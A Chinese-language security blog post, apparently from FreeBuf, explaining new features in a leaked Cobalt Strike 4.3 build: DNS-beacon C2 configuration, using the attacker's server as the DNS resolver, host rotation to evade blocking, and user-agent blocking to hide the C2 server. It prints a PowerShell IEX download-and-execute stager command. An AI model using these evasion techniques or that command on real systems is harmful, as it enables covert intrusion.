CobaltStrike4.3更新功能理解
2021-04-30 00:49:13 Author: www.freebuf.com(查看原文) 阅读量:162 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

攻防演练期间,有公众号在分享相关内容。果然发现Cobalt Strike 4.3 (March 3, 2021) 02fa5afe9e58cb633328314b279762a03894df6b54c0129e8a979afcfca83d51被泄露了。于是演练结束了便结合更新日志看了一下新功能,发现部分还是挺实用的。简单介绍一下:

一些新功能

  • Added support for dns-beacon Malleable C2 group.
    Added options for DNS Host Indicators:beacon,get_A,get_AAAA,get_TXT,put_metadata,put_output
    Malleable C2 Lint changes to support dns-beacon group.

DNS隧道逃避检测能力提升与配置:

  1. 新版本profile文件中的DNS隧道相关配置要放到dns-beacon{}里了。同时./c2lint(调用c2profile.Lint方法检查profile文件合法性的脚本)也同步更新。

  2. 新版本可以在profile文件中自定义原先dns隧道通信中固定的www、api、www6等子域名前缀了。相关修改可以参考 https://github.com/threatexpress/malleable-c2/blob/d2d443af48bd8d026d5eedfe6a09f2d167d94c5e/jquery-c2.4.3.profile 中 L190-L210中内容。

  • Allow DNS Beacons to egress directly through a specified DNS Resolver,
    rather than using the default resolver from the target server.

允许beacon通信使用指定的DNS服务器

允许beacon通信使用指定的DNS服务器,所以这里就能这么玩了。image.png域名随意填写,DNS服务器直接写CS服务器地址。(不再强制需要域名解析服务器指向)但是值得注意的是,stage分发并不能使用该功能。所以在使用stageless模式生成client时,可以任意填写域名进行通信交互,不过我们的CS服务器也会暴露。至于中转什么的,那就另说了。

  • Host Rotation Strategy for customizing host selection for DNS/HTTP/HTTPS beacons.

在beacon通信时,可以选择更多的轮询方案以逃避检测、阻断

这点在dns、https、http监听器中都有体现。
也就是这个选项
image.png
之前版本默认为轮询,现在可以选择 轮询、随机、失败X[次|时间]后进行更换、固定时间进行更换。同样的,和stage分发无关。stage分发可以选择独立的host。

  • Allow HTTP/HTTPS configuration of blocked useragent (previously curl/lynx/wget).
    Added .http-config.block_useragents to Malleable C2.

允许在配置文件中ban掉指定UA的请求

允许在profile文件中指定.http-config.block_useragents选项以ban掉部分请求。个人觉得可以用黑名单来实行白名单。只允许profile中设置的UA通信就好了,防止恶意探测。

  • Add support for responding to NS request from specific DNS resolvers.
    Added .dns-beacon.ns_response Malleable C2 option.
    为NS类型的DNS请求添加响应。这个 没get到点在哪里、、

  • Add timestamp to beacon console messages.
    The timestamp option can be enabled/disabled in Preferences (Console tab).
    The timestamp format can be modified with aggressor script.
    See BEACON_CONSOLE_TIMESTAMP and SSH_CONSOLE_TIMESTAMP in default.cna.
    可以选择在控制台中消息的时间部分以时间戳或者可读时间显示。同样没有get到。。

  • Add a PowerShell IEX option in Scripted Web Delivery
    添加了一个使用powershell一键上线的命令,也就是这个功能。image.png
    生成的结果为 IEX ((new-object net.webclient).downloadstring('http://192.168.80.128:80/a'))

bug修复部分

  • Fixed sleep command after exit causing beacons not to exit.

  • Malleable C2 lint was incorrectly showing jitter data in staging preview.

  • Fixed invalid help link (attacks->packages->Windows Executable)

  • Setting sleep to 0 in Malleable C2 caused beacons to fail.
    Add C2 Lint range for sleep values.

  • Fix data_jitter issue not using any jitter when it was longer than limit (921600).
    Added minimum data_jitter (10) and performance warning for over 10000.
    Show data_jitter marker in C2 Lint preview data rather than actual jitter data.
    以上是修复的bug部分,不再展开细说。

好了,就是这样。如有理解错误,请不吝指正。


文章来源: https://www.freebuf.com/sectool/271618.html
如有侵权请联系:admin#unsafe.sh